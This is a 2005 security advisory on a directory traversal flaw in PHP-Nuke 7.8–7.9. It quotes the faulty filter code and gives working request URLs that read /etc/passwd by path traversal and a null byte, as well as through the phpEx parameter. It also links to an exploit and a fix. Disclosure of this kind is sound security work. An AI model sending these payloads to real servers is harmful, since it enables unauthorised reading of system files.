SecurityAlert SA025 : PHPNuke Remote Directory Traversal
Author: sp3x
Date: 19. October 2005
Affected software :
===================
PHPNuke version : 7.8 - 7.9 + patch 3.1
Description :
=============
PHP-Nuke is a Web Portal System, storytelling software, News system, online
community or w
hatever you want to call it. The goal of PHP-Nuke is to have an automated web
site to dist
ribute news and articles with users system. Each user can submit comments to
discuss the a
rticles, just similar to Slashdot and many others. Main features include: web
based admin,
surveys, top page, access stats page with counter, user customizable box,
themes manager
for registered users, friendly administration GUI with graphic topic manager,
option to ed
it or delete stories, option to delete comments, moderation system, Referers
page to know
who link us, sections manager, customizable HTML blocks, user and authors edit,
an integra
ted Banners Ads system, search engine, backend/headlines generation (RSS/RDF
format), and
many, many more friendly functions. PHP-Nuke is written 100% in PHP and
requires Apache We
b server, PHP and a SQL (MySQL, mSQL, PostgreSQL, ODBC, ODBC_Adabas, Sybase or
Interbase).
Support for 25 languages, Yahoo like search engine, Comments option in Polls,
lot of them
es, Ephemerids manager, File Manager, Headlines, download manager, faq manager,
advanced b
locks systems, reviews system, newsletter, categorized articles, multilanguage
content man
agement, phpBB Forums included and a lot more.
Vulnerabilities :
*****************
File disclosure :
=================
By GET or POST request remote attacker can make specially crafted parameter to
see the fil
es on the victim server.
In our case in php.ini the magic_quotes_gpc must be off.
Environment :
-------------
php.ini: magic_quotes_gpc = Off
The problem exist in modules.php so first let's see the source code of this
file.
Original code from modules.php :
---------------------------------
...
if (!isset($file) OR $file != $_REQUEST['file']) $file="index";
if (stripos_clone($file,"..") OR stripos_clone($mop,"..")) die("You are so
cool..
.");
....
-----------------------------------
Here we can see that there is function stripos_clone(); to filter variable
$file, $mop to
detect and prevent
Remote Directory Traversal - Local file include. So when user set variable
$file, $mop the
function start filter ".." .
Ok lets see the function stripos_clone(); code in mainfile.php :
--------
// We want to use the function stripos,
// but thats only available since PHP5.
// So we cloned the function...
if(!function_exists('stripos')) {
function stripos_clone($haystack, $needle, $offset=0) {
return strpos(strtoupper($haystack), strtoupper($needle), $offset);
}
} else {
// But when this is PHP5, we use the original function
function stripos_clone($haystack, $needle, $offset=0) {
return stripos($haystack, $needle, $offset=0);
}
}
--------
Now lets do some test :
http://victim/[nuke_dir]/modules.php?name=Search&file=index/../
After this we will see the message :
------------------------------------
You are so cool...
------------------------------------
Everything goes fine but when we try :
http://victim/[nuke_dir]/modules.php?name=Search&file=../../../../../../../../../etc/passw
d%00
Then we get /etc/passwd from server .
Another method to see file when server have magic_quotes_gpc = On .
Environment :
-------------
php.ini: magic_quotes_gpc = On
Some phpnuke version do not include all phpbb forum. When in phpnuke directory
is missing
file extension.inc
in modules/Forums/ then we can use variable $phpEx to include file from server
.
Example :
http://victim/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&phpEx=../../../.
./../../etc/passwd
Exploit :
---------
http://securityreason.com/achievement_exploitalert/3
How to fix :
============
Download the new version of the script or update.
http://securityreason.com/download/1/4
Greetz :
========
Special greetz : cXIb8O3 , pkw
Contact :
=========
sp3x[at]securityreason[dot].com
www.securityreason.com